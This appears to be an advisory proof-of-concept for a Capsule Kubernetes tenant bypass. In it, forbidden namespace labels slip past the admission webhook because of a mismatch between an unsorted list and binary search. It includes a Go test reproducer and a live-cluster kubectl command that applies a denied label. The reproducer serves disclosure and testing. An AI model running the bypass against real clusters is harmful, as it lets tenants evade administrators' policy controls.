CVE-2026-61672: Capsule Tenant Forbidden Metadata Enforcement Bypass

# Minimal root-cause reproducer (from advisory PoC, pkg/api layer)
# Denied list: ["kubernetes.io/metadata.name", "pod-security.kubernetes.io/enforce", "NetworkPolicy"]
# Mixed-case list causes sort.SearchStrings to miss two of the three entries.

# Step 1 – clone the vulnerable version
git clone --depth 1 --branch v0.13.5 https://github.com/projectcapsule/capsule.git
cd capsule

# Step 2 – drop the PoC test into the package
cat > pkg/api/forbidden_bypass_poc_test.go << 'EOF'
package api

import "testing"

func denied() ForbiddenListSpec {
    return ForbiddenListSpec{
        Exact: []string{
            "kubernetes.io/metadata.name",
            "pod-security.kubernetes.io/enforce",
            "NetworkPolicy",
        },
    }
}

// Two denied keys slip past ValidateForbidden -- webhook would ALLOW them.
func TestPoC_ForbiddenKeysBypassed(t *testing.T) {
    for _, k := range []string{"NetworkPolicy", "kubernetes.io/metadata.name"} {
        if err := ValidateForbidden(map[string]string{k: "owned"}, denied()); err == nil {
            t.Errorf("BYPASS CONFIRMED: allowed denied key %q", k)
        }
    }
}

// Minimal one-liner: ExactMatch(["B","a"], "B") returns false.
func TestPoC_ExactMatch_RootCause(t *testing.T) {
    spec := ForbiddenListSpec{Exact: []string{"B", "a"}}
    if !spec.ExactMatch("B") {
        t.Errorf("ROOT CAUSE: ExactMatch returned false for a key in the list")
    }
}
EOF

# Step 3 – run
go test ./pkg/api/ -run 'TestPoC_' -v
# Expected: both tests FAIL, confirming the bypass.

# In a live cluster, the equivalent is:
kubectl label namespace <tenant-ns> NetworkPolicy=open
# The admission webhook returns 200 instead of 403.